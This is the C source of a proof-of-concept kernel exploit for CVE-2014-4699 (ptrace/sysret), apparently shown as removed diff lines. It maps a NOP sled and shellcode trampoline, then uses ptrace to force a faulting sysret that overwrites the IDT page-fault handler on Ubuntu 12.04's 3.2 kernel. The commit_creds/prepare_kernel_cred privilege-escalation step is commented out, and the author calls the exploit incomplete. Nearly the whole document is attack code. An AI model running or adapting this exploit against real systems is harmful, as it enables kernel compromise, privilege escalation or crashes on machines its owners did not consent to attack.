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- /**
- * CVE-2014-4699 ptrace/sysret PoC
- * by Vitaly Nikolenko
- * vnik@hashcrack.org
- *
- * > gcc -O2 poc_v0.c
- *
- * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
- * following will trigger the #GP in sysret and overwrite the #PF handler so we
- * can land to our NOP sled mapped at 0x80000000.
- * However, once landed, the IDT will be trashed. We can either attempt to
- * restore it (then escalate privileges and execute our shellcode) or find
- * something else to overwrite that would transfer exec flow to our controlled
- * user-space address. Since 3.10.something, IDT is read-only anyway. If you
- * have any ideas, let me know.
- */
- #include <stdio.h>
- #include <stdint.h>
- #include <assert.h>
- #include <sys/ptrace.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <sys/syscall.h>
- #include <sys/user.h>
- #include <unistd.h>
- #include <sys/mman.h>
- #include <errno.h>
- #define SIZE 0x10000000
- typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
- unsigned long __user_cs;
- unsigned long __user_ss;
- unsigned long __user_rflags;
- void __attribute__((regparm(3))) payload() {
- uint32_t *fixptr = (void*)0xffffffff81dd70e8;
- // restore the #PF handler
- *fixptr = -1;
- //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
- //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
- //commit_creds(prepare_kernel_cred((uint64_t)NULL));
- //__asm__ volatile ("swapgs\n\t"
- // "...");
- }
- int main() {
- struct user_regs_struct regs;
- uint8_t *trampoline, *tmp;
- int status;
- struct {
- uint16_t limit;
- uint64_t addr;
- } __attribute__((packed)) idt;
- // MAP_POPULATE so we don't trigger extra #PF
- trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
- assert(trampoline == 0x80000000);
- memset(trampoline, 0x90, SIZE);
- tmp = trampoline;
- tmp += SIZE-1024;
- memcpy(tmp, &payload, 1024);
- memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
- pid_t chld;
- if ((chld = fork()) < 0) {
- perror("fork");
- exit(1);
- }
- if (chld == 0) {
- if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
- perror("PTRACE_TRACEME");
- exit(1);
- }
- raise(SIGSTOP);
- fork();
- return 0;
- }
- asm volatile("sidt %0" : "=m" (idt));
- printf("IDT addr = 0x%lx\n", idt.addr);
- waitpid(chld, &status, 0);
- ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
- ptrace(PTRACE_CONT, chld, 0, 0);
- waitpid(chld, &status, 0);
- ptrace(PTRACE_GETREGS, chld, NULL, ®s);
- regs.rdi = 0x0000000000000000;
- regs.rip = 0x8fffffffffffffff;
- regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
- // attempt to restore the IDT
- regs.rdi = 0x0000000000000000;
- regs.rsi = 0x81658e000010cbd0;
- regs.rdx = 0x00000000ffffffff;
- regs.rcx = 0x81658e000010cba0;
- regs.rax = 0x00000000ffffffff;
- regs.r8 = 0x81658e010010cb00;
- regs.r9 = 0x00000000ffffffff;
- regs.r10 = 0x81668e0000106b10;
- regs.r11 = 0x00000000ffffffff;
- regs.rbx = 0x81668e0000106ac0;
- regs.rbp = 0x00000000ffffffff;
- regs.r12 = 0x81668e0000106ac0;
- regs.r13 = 0x00000000ffffffff;
- regs.r14 = 0x81668e0200106a90;
- regs.r15 = 0x00000000ffffffff;
- ptrace(PTRACE_SETREGS, chld, NULL, ®s);
- ptrace(PTRACE_CONT, chld, 0, 0);
- ptrace(PTRACE_DETACH, chld, 0, 0);
- }
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